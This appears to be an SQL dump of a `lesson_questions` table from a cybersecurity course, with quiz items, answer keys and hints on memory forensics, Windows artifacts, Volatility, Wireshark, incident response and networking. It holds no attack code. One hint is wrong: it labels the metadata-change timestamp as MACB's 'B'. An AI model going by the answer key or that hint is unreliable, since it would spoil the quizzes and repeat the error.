(7140, 797, 'What type of malware executes directly in memory and leaves almost zero trace on the physical hard drive?', 1, 'Fileless Malware', 0, 'It exists without files.', '2026-03-09 22:28:54', '[\"Ransomware\",\"Fileless Malware\",\"Bootkit\",\"Macro Virus\"]'),
(7141, 797, 'Which Windows file contains a perfect snapshot of the RAM contents dumped to the hard drive when the computer goes to sleep?', 2, 'hiberfil.sys', 0, 'Starts with h.', '2026-03-09 22:28:54', '[\"ntuser.dat\",\"pagefile.sys\",\"swapfile.sys\",\"hiberfil.sys\"]'),
(7142, 797, 'What happens to the decryption keys for a BitLocker encrypted drive while the computer is powered on and unlocked?', 3, 'Stored in RAM', 0, 'The system needs them actively.', '2026-03-09 22:28:54', '[\"Sent to the cloud\",\"Stored in RAM\",\"Deleted immediately\",\"Written to the registry\"]'),
(7143, 797, 'Which phenomenon occurs because the contents of RAM change during the time it takes to create a memory image?', 4, 'Smear Effect', 0, 'Like taking a panoramic photo of a moving object.', '2026-03-09 22:28:54', '[\"Bit Flipping\",\"Buffer Overflow\",\"Memory Leak\",\"Smear Effect\"]'),
(7144, 797, 'Which tool is commonly used to extract a full memory dump from a running Linux system?', 5, 'LiME', 0, 'Acronym for Linux Memory Extractor.', '2026-03-09 22:28:54', '[\"DumpIt\",\"FTK Imager\",\"WinPmem\",\"LiME\"]'),
(7145, 798, 'What type of network evidence records the complete payload and headers of every packet sent across the wire?', 1, 'Full Packet Capture', 0, 'Abbreviated as PCAP.', '2026-03-09 22:28:54', '[\"DNS Queries\",\"Full Packet Capture\",\"NetFlow\",\"Firewall Logs\"]'),
(7146, 798, 'What type of network evidence acts like a \"phone bill,\" recording metadata like IPs, ports, and bytes transferred, but NOT the payload?', 2, 'NetFlow', 0, 'Telemetry data.', '2026-03-09 22:28:54', '[\"Syslog\",\"PCAP\",\"NetFlow\",\"SNMP\"]'),
(7147, 798, 'Which hardware device is physically inserted inline with a network cable to passively duplicate traffic for forensic capture?', 3, 'Network Tap', 0, 'It taps into the physical line.', '2026-03-09 22:28:54', '[\"SPAN Port\",\"Network Tap\",\"Router\",\"Network Switch\"]'),
(7148, 798, 'A switch feature that copies traffic from one port to a monitoring port for analysis is called a...?', 4, 'SPAN Port', 0, 'Also known as Port Mirroring.', '2026-03-09 22:28:54', '[\"VLAN\",\"Trunk Port\",\"SPAN Port\",\"VPN\"]'),
(7149, 798, 'If you want to know the exact URL a user clicked on when they fell for a phishing email, which log source is the most useful?', 5, 'Proxy Logs', 0, 'Web gateways track URLs.', '2026-03-09 22:28:54', '[\"Firewall Logs\",\"Proxy Logs\",\"Switch Logs\",\"NetFlow\"]'),
(7150, 799, 'Which physical registry hive file contains the password hashes for local user accounts?', 1, 'SAM', 0, 'Security Account Manager.', '2026-03-09 22:28:54', '[\"SOFTWARE\",\"SAM\",\"SYSTEM\",\"NTUSER.DAT\"]'),
(7151, 799, 'Where is the registry hive file that corresponds to a specific user\'s HKEY_CURRENT_USER (HKCU) located?', 2, 'In their user profile directory', 0, 'It is called NTUSER.DAT.', '2026-03-09 22:28:54', '[\"In their user profile directory\",\"In the Pagefile\",\"C:\\\\Windows\\\\Registry\",\"C:\\\\Windows\\\\System32\\\\config\"]'),
(7152, 799, 'Which registry key tracks the executable programs a user launches from the GUI, keeping count of how many times they were run?', 3, 'UserAssist', 0, 'It assists the user experience.', '2026-03-09 22:28:54', '[\"USBStor\",\"Prefetch\",\"UserAssist\",\"Run\"]'),
(7153, 799, 'What simple encryption method does Windows use to lightly obfuscate the names of programs stored in the UserAssist key?', 4, 'ROT-13', 0, 'A simple letter substitution cipher.', '2026-03-09 22:28:54', '[\"AES-256\",\"Base64\",\"MD5\",\"ROT-13\"]'),
(7154, 799, 'If an attacker wants their malware to survive a system reboot, which category of registry keys are they most likely to modify?', 5, 'Run Keys', 0, 'Keys that auto-start programs.', '2026-03-09 22:28:54', '[\"USBStor\",\"Run Keys\",\"UserAssist\",\"File Associations\"]'),
(7155, 800, 'Which core Windows Event Log tracks successful and failed authentication attempts?', 1, 'Security', 0, 'Only administrators can view it by default.', '2026-03-09 22:28:54', '[\"Setup\",\"System\",\"Security\",\"Application\"]'),
(7156, 800, 'Which Event ID represents a Successful Logon?', 2, '4624', 0, 'Ends in 4.', '2026-03-09 22:28:54', '[\"4625\",\"4720\",\"4624\",\"1102\"]'),
(7157, 800, 'If an attacker uses RDP to remotely access a server, what \"Logon Type\" will be recorded in the Event ID 4624 log?', 3, 'Type 10', 0, 'Remote Interactive logon.', '2026-03-09 22:28:54', '[\"Type 2\",\"Type 7\",\"Type 10\",\"Type 3\"]'),
(7158, 800, 'Which Event ID is generated when a new user account is created on the system?', 4, '4720', 0, 'Account management event.', '2026-03-09 22:28:54', '[\"4720\",\"4672\",\"1102\",\"4688\"]'),
(7159, 800, 'You discover Event ID 1102 in the logs. What action does this explicitly indicate?', 5, 'The logs were cleared', 0, 'A major indicator of anti-forensics.', '2026-03-09 22:28:54', '[\"Malware was installed\",\"The logs were cleared\",\"The system rebooted\",\"A brute force attack succeeded\"]'),
(7160, 801, 'Which Windows feature speeds up application launch times and simultaneously provides forensic analysts with execution counts and timestamps?', 1, 'Prefetch', 0, 'Files ending in .pf.', '2026-03-09 22:28:54', '[\"Amcache\",\"Prefetch\",\"UserAssist\",\"Shimcache\"]'),
(7161, 801, 'Where are Prefetch files stored on a Windows file system?', 2, 'C:\\Windows\\Prefetch', 0, 'Stored in the Windows directory.', '2026-03-09 22:28:54', '[\"They are stored in the Registry\",\"C:\\\\Windows\\\\System32\",\"C:\\\\Users\\\\Public\",\"C:\\\\Windows\\\\Prefetch\"]'),
(7162, 801, 'Which execution artifact is stored as a specific registry key under the SYSTEM hive and is excellent for tracking applications run from removed USB drives?', 3, 'Shimcache', 0, 'Also known as AppCompatCache.', '2026-03-09 22:28:54', '[\"Amcache\",\"Run Keys\",\"Prefetch\",\"Shimcache\"]'),
(7163, 801, 'Which newer execution artifact (Windows 8+) records the actual SHA-1 hash of the executed binary?', 4, 'Amcache', 0, 'Stored as a .hve file.', '2026-03-09 22:28:54', '[\"Prefetch\",\"Shimcache\",\"Event Logs\",\"Amcache\"]'),
(7164, 801, 'True or False: The presence of a file in the Shimcache definitively guarantees that the file was successfully executed by the user.', 5, 'False', 0, 'It can be cached just by exploring the folder.', '2026-03-09 22:28:54', '[\"Only if the file was deleted\",\"False\",\"True\",\"Only on Windows 10\"]'),
(7165, 802, 'What NTFS database file tracks the location and metadata of every single file on the volume?', 1, 'Master File Table', 0, 'Known as $MFT.', '2026-03-09 22:28:54', '[\"Registry\",\"Master Boot Record\",\"Pagefile\",\"Master File Table\"]'),
(7166, 802, 'Which of the MACB timestamps represents the moment a file\'s metadata (like permissions or file name) was altered?', 2, 'MFT Modified', 0, 'The B or fourth timestamp.', '2026-03-09 22:28:54', '[\"Modified\",\"MFT Modified\",\"Created\",\"Accessed\"]'),
(7167, 802, 'What anti-forensics technique involves an attacker deliberately altering the creation or modification timestamps of a file to hide it?', 3, 'Time Stomping', 0, 'Stomping on the MAC times.', '2026-03-09 22:28:54', '[\"Hashing\",\"File Carving\",\"Time Stomping\",\"Steganography\"]'),
(7168, 802, 'Even if a USB drive is removed, which automatically created Windows artifact can reveal the Volume Serial Number of that USB and the original path of the files opened from it?', 4, 'LNK files', 0, 'Shortcut files.', '2026-03-09 22:28:54', '[\"Recycle Bin\",\"Amcache\",\"LNK files\",\"Prefetch\"]'),
(7169, 802, 'When a file is sent to the Windows Recycle Bin, it is split into a $R file (the contents) and an $I file. What information does the $I file contain?', 5, 'Original path and deletion time', 0, 'It holds the metadata of the deletion.', '2026-03-09 22:28:54', '[\"Original path and deletion time\",\"The user password\",\"Decryption keys\",\"The file hash\"]'),
(7170, 803, 'Which open-source framework, written in Python, is considered the industry standard for analyzing RAM dumps?', 1, 'Volatility', 0, 'It analyzes volatile memory.', '2026-03-09 22:28:54', '[\"Wireshark\",\"Autopsy\",\"EnCase\",\"Volatility\"]'),
(7171, 803, 'In Volatility 2, what piece of information must an analyst manually specify so the tool understands how to parse the OS structures?', 2, 'The Profile', 0, 'E.g., Win7SP1x64.', '2026-03-09 22:28:54', '[\"The Password\",\"The Malware Hash\",\"The IP Address\",\"The Profile\"]'),
(7172, 803, 'What command line flag is used in Volatility 3 to specify the input file (the memory image)?', 3, '-f', 0, 'Stands for file.', '2026-03-09 22:28:54', '[\"-p\",\"-i\",\"-m\",\"-f\"]'),
(7173, 803, 'What is the name of a specific script in Volatility that looks for an exact type of artifact (e.g., hidden processes)?', 4, 'Plugin', 0, 'You plug it into the framework.', '2026-03-09 22:28:54', '[\"Add-on\",\"Plugin\",\"Module\",\"Extension\"]'),
(7174, 803, 'Which Volatility 3 plugin should be run first to gather basic OS build information and the exact UTC timestamp of the memory acquisition?', 5, 'windows.info', 0, 'It provides information about the Windows build.', '2026-03-09 22:28:54', '[\"windows.netstat\",\"windows.malfind\",\"windows.info\",\"windows.pslist\"]'),
(7175, 804, 'Which Volatility plugin relies on the OS-maintained linked list (ActiveProcessLinks) to show currently running processes, making it vulnerable to rootkits?', 1, 'windows.pslist', 0, 'It just lists what the OS sees.', '2026-03-09 22:28:54', '[\"windows.pstree\",\"windows.psscan\",\"windows.pslist\",\"windows.malfind\"]'),
(7176, 804, 'What technique does a rootkit use to hide a malicious process from the Task Manager and the pslist command?', 2, 'Direct Kernel Object Manipulation (Unlinking)', 0, 'It alters the ActiveProcessLinks.', '2026-03-09 22:28:54', '[\"Encryption\",\"Direct Kernel Object Manipulation (Unlinking)\",\"Code Injection\",\"Obfuscation\"]'),
(7177, 804, 'Which Volatility plugin ignores the OS list and scans every byte of memory for specific data structures, allowing it to find hidden and recently terminated processes?', 3, 'windows.psscan', 0, 'It scans for signatures.', '2026-03-09 22:28:54', '[\"windows.netscan\",\"windows.pslist\",\"windows.pstree\",\"windows.psscan\"]'),
(7178, 804, 'If you see a process listed in the output of psscan, but that exact same PID is missing from the output of pslist, what is the most likely explanation?', 4, 'The process was deliberately hidden (Rootkit)', 0, 'It was unlinked from the main list.', '2026-03-09 22:28:54', '[\"The process crashed\",\"The process requires administrator rights\",\"Volatility has a bug\",\"The process was deliberately hidden (Rootkit)\"]'),
(7179, 804, 'Which plugin is best for spotting anomalies like Microsoft Word spawning a Command Prompt by visualizing parent-child process relationships?', 5, 'windows.pstree', 0, 'Shows the family tree.', '2026-03-09 22:28:54', '[\"windows.pslist\",\"windows.psscan\",\"windows.pstree\",\"windows.info\"]'),
(7180, 805, 'Which Volatility plugin is used to find active, listening, and recently closed network connections within a memory image?', 1, 'windows.netscan', 0, 'Scans for network artifacts.', '2026-03-09 22:28:54', '[\"windows.psscan\",\"windows.netstat\",\"windows.cmdline\",\"windows.netscan\"]'),
(7181, 805, 'If you find a suspicious external IP address using windows.netscan, what field in the output tells you exactly which program on the computer opened the connection?', 2, 'Owner (PID)', 0, 'The Process ID involved.', '2026-03-09 22:28:54', '[\"Protocol\",\"State\",\"Local Port\",\"Owner (PID)\"]'),
(7182, 805, 'Which plugin displays the exact arguments and flags that were passed to an executable when it was launched?', 3, 'windows.cmdline', 0, 'Command Line.', '2026-03-09 22:28:54', '[\"windows.psscan\",\"windows.pslist\",\"windows.cmdline\",\"windows.info\"]'),
(7183, 805, 'An attacker launches PowerShell with the `-e` flag followed by a long string of random-looking characters. What encryption/encoding method is this primarily indicating?', 4, 'Base64', 0, 'Powershell EncodedCommand uses this.', '2026-03-09 22:28:54', '[\"MD5\",\"Base64\",\"ROT-13\",\"AES\"]'),
(7184, 805, 'Using built-in, legitimate IT administrator tools (like certutil or powershell) to download malware and avoid antivirus detection is known as what kind of attack?', 5, 'Living off the Land (LotL)', 0, 'Using what is already there.', '2026-03-09 22:28:54', '[\"Ransomware\",\"Zero-Day Exploit\",\"Buffer Overflow\",\"Living off the Land (LotL)\"]'),
(7185, 806, 'What technique does an attacker use to hide malicious, executing code inside the memory space of a legitimate Windows process (like explorer.exe)?', 1, 'Code Injection', 0, 'Injecting into another process.', '2026-03-09 22:28:54', '[\"Time Stomping\",\"Port Knocking\",\"Code Injection\",\"Phishing\"]'),
(7186, 806, 'In Windows memory protection rules (VAD), which permission state is considered highly dangerous and indicative of malicious injection?', 2, 'PAGE_EXECUTE_READWRITE (RWX)', 0, 'It allows writing and running code simultaneously.', '2026-03-09 22:28:54', '[\"PAGE_EXECUTE_READWRITE (RWX)\",\"PAGE_EXECUTE\",\"PAGE_READWRITE\",\"PAGE_READONLY\"]'),
(7187, 806, 'Which Volatility plugin is specifically designed to hunt for code injection by scanning all processes for hidden RWX memory regions?', 3, 'windows.malfind', 0, 'Finds malware.', '2026-03-09 22:28:54', '[\"windows.netscan\",\"windows.malfind\",\"windows.psscan\",\"windows.pslist\"]'),
(7188, 806, 'When viewing the hex dump output of malfind, what two bytes (in hex) represent the \"magic bytes\" header of a Windows Executable file?', 4, '4D 5A', 0, 'Translates to ASCII MZ.', '2026-03-09 22:28:54', '[\"4D 5A\",\"50 4B\",\"FF D8\",\"89 50\"]'),
(7189, 806, 'Once you have identified the PID of an injected process using malfind, what Volatility flag allows you to extract the malicious code out of the RAM image and save it to your hard drive?', 5, '--dump', 0, 'Dumps the file.', '2026-03-09 22:28:54', '[\"--export\",\"--extract\",\"--save\",\"--dump\"]'),
(7190, 807, 'What is the standard file extension used to store a byte-for-byte recording of entire network packets?', 1, '.pcap', 0, 'Packet Capture.', '2026-03-09 22:28:54', '[\".evt\",\".log\",\".pcap\",\".ps1\"]'),
(7191, 807, 'Which of the following acts like a \"phone bill,\" recording metadata about a connection (who, when, how long) but NOT the actual data payload?', 2, 'NetFlow', 0, 'It records the flow of the network.', '2026-03-09 22:28:54', '[\"PCAP\",\"Syslog\",\"EventTracer\",\"NetFlow\"]'),
(7192, 807, 'To capture all traffic on a network segment, what mode must a network interface card (NIC) be placed into?', 3, 'Promiscuous Mode', 0, 'It reads every packet it sees.', '2026-03-09 22:28:54', '[\"Stealth Mode\",\"Monitor Mode\",\"Promiscuous Mode\",\"Injektion Mode\"]'),
(7193, 807, 'Which popular command-line tool, common on Linux environments, is frequently used to capture packets and write them to a PCAP file?', 4, 'tcpdump', 0, 'Dumps TCP traffic.', '2026-03-09 22:28:54', '[\"tcpdump\",\"ping\",\"netstat\",\"nmap\"]'),
(7194, 807, 'Why is network forensics often considered more reliable than host-based forensics (like checking event logs)?', 5, 'Network sensors are harder for malware to bypass or erase', 0, 'Packets don\'t lie, and they are usually stored off the infected host.', '2026-03-09 22:28:54', '[\"Network sensors are harder for malware to bypass or erase\",\"It is faster to analyze\",\"It uses less disk space\",\"It is encrypted by default\"]'),
(7195, 808, 'In Wireshark\'s three-pane interface, which pane allows you to expand and inspect the specific headers of the OSI model layers (like the IPv4 or TCP headers)?', 1, 'Packet Details (Middle)', 0, 'It breaks down the details.', '2026-03-09 22:28:54', '[\"Packet Bytes (Bottom)\",\"Packet List (Top)\",\"Packet Details (Middle)\",\"Filter Bar\"]'),
(7196, 808, 'What is the exact Wireshark display filter syntax to show only packets where the source IP is 8.8.8.8?', 2, 'ip.src == 8.8.8.8', 0, 'Remember the double equals sign.', '2026-03-09 22:28:54', '[\"source_ip = 8.8.8.8\",\"ip.addr == 8.8.8.8\",\"ip.src == 8.8.8.8\",\"ip:src=8.8.8.8\"]'),
(7197, 808, 'Which display filter would you use to find instances where a user uploaded data or submitted a form to an unencrypted web server?', 3, 'http.request.method == \"POST\"', 0, 'Looking for the HTTP POST method.', '2026-03-09 22:28:54', '[\"ftp.request == \\\"UPLOAD\\\"\",\"http.request.method == \\\"POST\\\"\",\"http.response == 200\",\"tcp.port == 80\"]'),
(7198, 808, 'What powerful Wireshark feature automatically reassembles dozens of fragmented packets into a single, readable conversation window?', 4, 'Follow TCP Stream', 0, 'It follows the entire flow of the stream.', '2026-03-09 22:28:54', '[\"Expert Info\",\"Protocol Hierarchy\",\"Resolve IPs\",\"Follow TCP Stream\"]'),
(7199, 808, 'What does the Boolean operator `&&` do when combining display filters in Wireshark?', 5, 'Logical AND (Both conditions must be true)', 0, 'It restricts the search.', '2026-03-09 22:28:54', '[\"Logical NOT\",\"Logical AND (Both conditions must be true)\",\"Concatenation\",\"Logical OR\"]'),
(7200, 809, 'Which network protocol essentially acts as the \"phonebook of the internet,\" resolving domain names into IP addresses, and operates on UDP port 53?', 1, 'DNS', 0, 'Domain Name System.', '2026-03-09 22:28:54', '[\"HTTP\",\"DNS\",\"FTP\",\"SSH\"]'),
(7201, 809, 'An infected machine generates hundreds of DNS requests per minute for random, nonsensical domains like \"kjxqzwp.info\". What technique is the malware likely using?', 2, 'Domain Generation Algorithm (DGA)', 0, 'It generates domains programmatically.', '2026-03-09 22:28:54', '[\"Fast Fluxing\",\"ARP Spoofing\",\"DNS Tunneling\",\"Domain Generation Algorithm (DGA)\"]'),
(7202, 809, 'In an HTTP request, which key header field indicates the type of browser or client software making the request, and is often a dead giveaway for automated malware scripts?', 3, 'User-Agent', 0, 'Tells the server the \"agent\" of the user.', '2026-03-09 22:28:54', '[\"Referer\",\"Host\",\"User-Agent\",\"Accept-Encoding\"]'),
(7203, 809, 'If you see an HTTP response code of \"200 OK\" immediately following an HTTP GET request for \"malware.exe\", what does this indicate?', 4, 'The malware download was successful', 0, '200 means success.', '2026-03-09 22:28:54', '[\"The server blocked the download\",\"The malware download was successful\",\"The file was not found\",\"The client timed out\"]'),
(7204, 809, 'What Wireshark feature allows you to quickly rebuild and extract files (like images, scripts, or executables) that were transmitted over unencrypted HTTP traffic?', 5, 'File -> Export Objects -> HTTP', 0, 'You export the object from the protocol.', '2026-03-09 22:28:54', '[\"File -> Export Objects -> HTTP\",\"Statistics -> Protocol Hierarchy\",\"Edit -> Reassemble Payload\",\"Analyze -> Decode As\"]'),
(7205, 810, 'What command-line tool provides the exact same parsing capabilities as Wireshark but is vastly superior for analyzing massive PCAP files and scripting?', 1, 'Tshark', 0, 'The terminal version of Wireshark.', '2026-03-09 22:28:54', '[\"Tshark\",\"tcpdump\",\"Zeek\",\"Snort\"]'),
(7206, 810, 'In Tshark, what command line flag is used to apply a Wireshark-style display filter (e.g., to filter for \"http\")?', 2, '-Y', 0, 'Capital Y.', '2026-03-09 22:28:54', '[\"-Y\",\"-f\",\"-d\",\"-R\"]'),
(7207, 810, 'When you want Tshark to output specific columns of data rather than the entire packet summary, what output format flag must you use?', 3, '-T fields', 0, 'Specifies the output format as fields.', '2026-03-09 22:28:54', '[\"-T fields\",\"-T json\",\"-x fields\",\"-o columns\"]'),
(7208, 810, 'Which flag is used in conjunction with \"-T fields\" to actually specify the name of the specific field you want to extract (e.g., ip.src)?', 4, '-e', 0, 'Extract this field.', '2026-03-09 22:28:54', '[\"-c\",\"-f\",\"-x\",\"-e\"]'),
(7209, 810, 'Why would an analyst pipe the output of Tshark into the Bash commands `sort | uniq -c | sort -nr` ?', 5, 'To count and find the most frequent occurrences (like top talkers)', 0, 'A classic bash one-liner for frequency analysis.', '2026-03-09 22:28:54', '[\"To count and find the most frequent occurrences (like top talkers)\",\"To extract an executable\",\"To safely delete the PCAP\",\"To encrypt the output log\"]'),
(7210, 811, 'What does the acronym PICERL stand for in the context of Incident Response?', 1, 'Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned', 0, 'The 6 phases of IR.', '2026-03-09 22:28:54', '[\"Planning, Incident, Control, Eradicate, Restore, Listen\",\"Proactive, Identification, Correction, Eviction, Recovery, Legal\",\"Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned\",\"Prevention, Investigation, Containment, Evaluation, Recovery, Logging\"]'),
(7211, 811, 'Which phase of the PICERL methodology involves developing standard operating procedures (Playbooks) and conducting tabletop exercises?', 2, 'Preparation', 0, 'Done before the attack.', '2026-03-09 22:28:54', '[\"Lessons Learned\",\"Preparation\",\"Identification\",\"Eradication\"]'),
(7212, 811, 'A firewall blocking a port scan from the internet is considered a routine network ________, whereas an attacker successfully bypassing the firewall and stealing data is a security ________.', 3, 'Event / Incident', 0, 'One is normal, one is a breach of policy.', '2026-03-09 22:28:54', '[\"Log / Disaster\",\"Breach / Alert\",\"Incident / Event\",\"Event / Incident\"]'),
(7213, 811, 'Malicious IP addresses, known bad file hashes, and attacker domain names are collectively referred to as what?', 4, 'Indicators of Compromise (IoCs)', 0, 'Evidence of an attack.', '2026-03-09 22:28:54', '[\"Exploits\",\"Indicators of Compromise (IoCs)\",\"Signatures\",\"Vulnerabilities\"]'),
(7214, 811, 'During the Identification phase, what is the process of determining exactly how many systems an attacker has compromised?', 5, 'Scoping', 0, 'Figuring out how wide the breach is.', '2026-03-09 22:28:54', '[\"Scoping\",\"Eradication\",\"Triaging\",\"Forensics\"]'),
(7215, 812, 'What is the primary objective of the Containment phase in Incident Response?', 1, 'To stop the spread of the attack and prevent further damage', 0, 'Stopping the bleeding.', '2026-03-09 22:28:54', '[\"To identify the attacker\",\"To write the final report\",\"To restore backups\",\"To stop the spread of the attack and prevent further damage\"]'),
(7216, 812, 'Quickly disconnecting an infected server to stop an active data breach is an example of what containment strategy?', 2, 'Immediate Containment', 0, 'Pulling the plug.', '2026-03-09 22:28:54', '[\"Immediate Containment\",\"Delayed Containment\",\"Eradication\",\"Scoping\"]'),
(7217, 812, 'What is the major risk of using the \"Delayed Containment\" strategy (watching the attacker)?', 3, 'The attacker might steal data or deploy ransomware while you are watching', 0, 'It is a high-risk gamble.', '2026-03-09 22:28:54', '[\"You might lose your job\",\"The SIEM might run out of storage\",\"The attacker might steal data or deploy ransomware while you are watching\",\"The firewall will crash\"]'),
(7218, 812, 'Why is \"pulling the power plug\" out of the wall generally considered a bad containment strategy for traditional forensics?', 4, 'It destroys volatile evidence stored in RAM', 0, 'RAM is erased without power.', '2026-03-09 22:28:54', '[\"It causes a power surge\",\"It encrypts the disk\",\"It breaks the hard drive\",\"It destroys volatile evidence stored in RAM\"]'),
(7219, 812, 'Using an EDR agent to logically cut off a compromised laptop\'s access to the internet and internal network, while keeping it powered on for forensics, is called what?', 5, 'Endpoint Isolation', 0, 'Quarantining the endpoint.', '2026-03-09 22:28:54', '[\"Network Segmentation\",\"Sinkholing\",\"Endpoint Isolation\",\"Port Security\"]');
INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(7220, 813, 'In the PICERL methodology, which phase involves the actual deletion of malware, removing persistent backdoors, and patching the initial vulnerability?', 1, 'Eradication', 0, 'Removing the root cause.', '2026-03-09 22:28:54', '[\"Identification\",\"Containment\",\"Eradication\",\"Recovery\"]'),
(7221, 813, 'Why is simply deleting a known malicious file often considered an insufficient eradication strategy against advanced attackers?', 2, 'They likely have hidden persistent backdoors elsewhere on the system', 0, 'Whack-a-mole doesn\'t work.', '2026-03-09 22:28:54', '[\"Antivirus will block the deletion\",\"The file will just redownload itself from Microsoft\",\"The file is usually too large\",\"They likely have hidden persistent backdoors elsewhere on the system\"]'),
(7222, 813, 'What is the industry-standard, most secure method for eradicating a severe malware infection from a host?', 3, 'Wiping the hard drive and reinstalling the OS from a clean image', 0, 'When in doubt, wipe it out.', '2026-03-09 22:28:54', '[\"Uninstalling the web browser\",\"Wiping the hard drive and reinstalling the OS from a clean image\",\"Deleting the registry cache\",\"Running three different Antivirus scans\"]'),
(7223, 813, 'During the Recovery phase, what is the primary source used to bring data back online if a server was destroyed by ransomware?', 4, 'Secure, offline backups', 0, 'Data restoration source.', '2026-03-09 22:28:54', '[\"Secure, offline backups\",\"Volume Shadow Copies\",\"Cloud Storage Logs\",\"The Master File Table\"]'),
(7224, 813, 'Immediately after a compromised system is cleaned and placed back onto the production network, what action must the Security Operations Center (SOC) take?', 5, 'Implement enhanced monitoring on that system to ensure the attacker doesn\'t return', 0, 'Watch it closely.', '2026-03-09 22:28:54', '[\"Downgrade the EDR software\",\"Turn off the firewall\",\"Implement enhanced monitoring on that system to ensure the attacker doesn\'t return\",\"Format the hard drive again\"]'),
(7225, 814, 'Which phase of the PICERL methodology is often skipped but is vital for improving organizational security posture against future attacks?', 1, 'Lessons Learned', 0, 'The final phase.', '2026-03-09 22:28:54', '[\"Recovery\",\"Preparation\",\"Lessons Learned\",\"Containment\"]'),
(7226, 814, 'What critical document must the Incident Response team produce shortly after the incident is concluded?', 2, 'The Post-Incident Report', 0, 'Details the timeline and root cause.', '2026-03-09 22:28:54', '[\"The SLA Agreement\",\"The Firewall Ruleset\",\"The Post-Incident Report\",\"The Eradication Statement\"]'),
(7227, 814, 'Determining exactly how the attacker gained initial access to the network (e.g., finding the specific employee who clicked a phishing link) is known as what?', 3, 'Root Cause Analysis', 0, 'Finding \"Patient Zero\".', '2026-03-09 22:28:54', '[\"Root Cause Analysis\",\"Scoping\",\"Triaging\",\"Threat Hunting\"]'),
(7228, 814, 'During the Post-Mortem meeting, the team discusses a failure: it took 12 hours to notice a critical alert. What is the most appropriate actionable change to implement?', 4, 'Tuning the SIEM to make critical alerts more visible and retraining the SOC analysts', 0, 'Fix the process that failed.', '2026-03-09 22:28:54', '[\"Buying a new brand of firewall\",\"Tuning the SIEM to make critical alerts more visible and retraining the SOC analysts\",\"Firing the IT Director\",\"Doing nothing\"]'),
(7229, 814, 'The output and action items from the \"Lessons Learned\" phase feed directly into which other phase of the PICERL methodology, creating a continuous improvement cycle?', 5, 'Preparation', 0, 'It feeds back to the beginning.', '2026-03-09 22:28:54', '[\"Identification\",\"Preparation\",\"Containment\",\"Eradication\"]'),
(7230, 815, 'How many layers are in the theoretical OSI model?', 1, '7', 0, 'It is a 7-layer model.', '2026-03-09 22:28:55', '[\"5\",\"4\",\"7\",\"9\"]'),
(7231, 815, 'Which OSI layer is responsible for logical IP addressing and routing packets between different networks?', 2, 'Layer 3: Network', 0, 'Routers live here.', '2026-03-09 22:28:55', '[\"Layer 2: Data Link\",\"Layer 3: Network\",\"Layer 7: Application\",\"Layer 4: Transport\"]'),
(7232, 815, 'TCP and UDP, along with port numbers, operate at which layer of the OSI model?', 3, 'Layer 4: Transport', 0, 'This layer handles end-to-end transport.', '2026-03-09 22:28:55', '[\"Layer 2\",\"Layer 3\",\"Layer 4: Transport\",\"Layer 5\"]'),
(7233, 815, 'The process of a higher-layer protocol adding its own header to the payload received from the layer above it, as data moves down the OSI stack, is called what?', 4, 'Encapsulation', 0, 'Putting the data inside a capsule (header).', '2026-03-09 22:28:55', '[\"Routing\",\"De-encapsulation\",\"Encapsulation\",\"Segmentation\"]'),
(7234, 815, 'In the simplified TCP/IP model, which single layer combines the functions of the OSI model\'s Session, Presentation, and Application layers?', 5, 'Application Layer', 0, 'The top layer of TCP/IP.', '2026-03-09 22:28:55', '[\"Transport Layer\",\"Network Access Layer\",\"Internet Layer\",\"Application Layer\"]'),
(7235, 816, 'Which transport layer protocol requires a \"3-Way Handshake\" to establish a connection before any actual data is transmitted?', 1, 'TCP', 0, 'Transmission Control Protocol.', '2026-03-09 22:28:55', '[\"TCP\",\"ICMP\",\"IP\",\"UDP\"]'),
(7236, 816, 'What are the three steps, in order, of the TCP 3-Way Handshake?', 2, 'SYN, SYN-ACK, ACK', 0, 'Synchronize, Synchronize-Acknowledge, Acknowledge.', '2026-03-09 22:28:55', '[\"ACK, SYN, SYN-ACK\",\"SYN, SYN-ACK, ACK\",\"SYN, ACK, FIN\",\"REQ, RES, ACK\"]'),
(7237, 816, 'Which protocol is connectionless, \"fire and forget\", and does not guarantee delivery of packets?', 3, 'UDP', 0, 'User Datagram Protocol.', '2026-03-09 22:28:55', '[\"SSH\",\"TCP\",\"UDP\",\"FTP\"]'),
(7238, 816, 'Which of the following applications would primarily rely on UDP for its communication?', 4, 'Live VoIP Phone Call', 0, 'Speed over reliability.', '2026-03-09 22:28:55', '[\"Downloading a ZIP file\",\"Sending an Email\",\"Live VoIP Phone Call\",\"Loading a Webpage\"]'),
(7239, 816, 'What is the term for the numerical identifier (ranging from 1 to 65535) used at Layer 4 to ensure incoming data is routed to the correct specific application running on a server?', 5, 'Port Number', 0, 'Like an apartment number in a building.', '2026-03-09 22:28:55', '[\"IP Address\",\"Port Number\",\"Socket\",\"MAC Address\"]'),
(7240, 817, 'Which protocol translates human-readable domain names like \"google.com\" into IP addresses?', 1, 'DNS', 0, 'Domain Name System.', '2026-03-09 22:28:55', '[\"DHCP\",\"HTTP\",\"ARP\",\"DNS\"]'),
(7241, 817, 'Which protocol is responsible for automatically distributing IP addresses and network configurations to laptops and phones connecting to a Wi-Fi network?', 2, 'DHCP', 0, 'Dynamic Host Configuration Protocol.', '2026-03-09 22:28:55', '[\"ICMP\",\"BGP\",\"DHCP\",\"DNS\"]'),
(7242, 817, 'If an attacker wants to perform a local Man-in-the-Middle attack by tricking a victim computer into believing the attacker\'s MAC address actually belongs to the Default Gateway, what protocol are they abusing?', 3, 'ARP', 0, 'Address Resolution Protocol.', '2026-03-09 22:28:55', '[\"ARP\",\"ICMP\",\"TCP\",\"DNS\"]'),
(7243, 817, 'The \"ping\" command line utility utilizes which Layer 3 diagnostic protocol to determine if a remote server is online?', 4, 'ICMP', 0, 'Internet Control Message Protocol.', '2026-03-09 22:28:55', '[\"TCP\",\"IGMP\",\"UDP\",\"ICMP\"]'),
(7244, 817, 'Why do modern malware developers primarily design their Command and Control (C2) communication to use HTTPS (TCP port 443)?', 5, 'To blend in with normal web traffic and bypass restrictive corporate firewalls', 0, 'It looks like regular encrypted browsing.', '2026-03-09 22:28:55', '[\"Because it is the fastest protocol available\",\"Because HTTPS traffic is not recorded by ISPs\",\"To blend in with normal web traffic and bypass restrictive corporate firewalls\",\"Because UDP is unreliable\"]'),
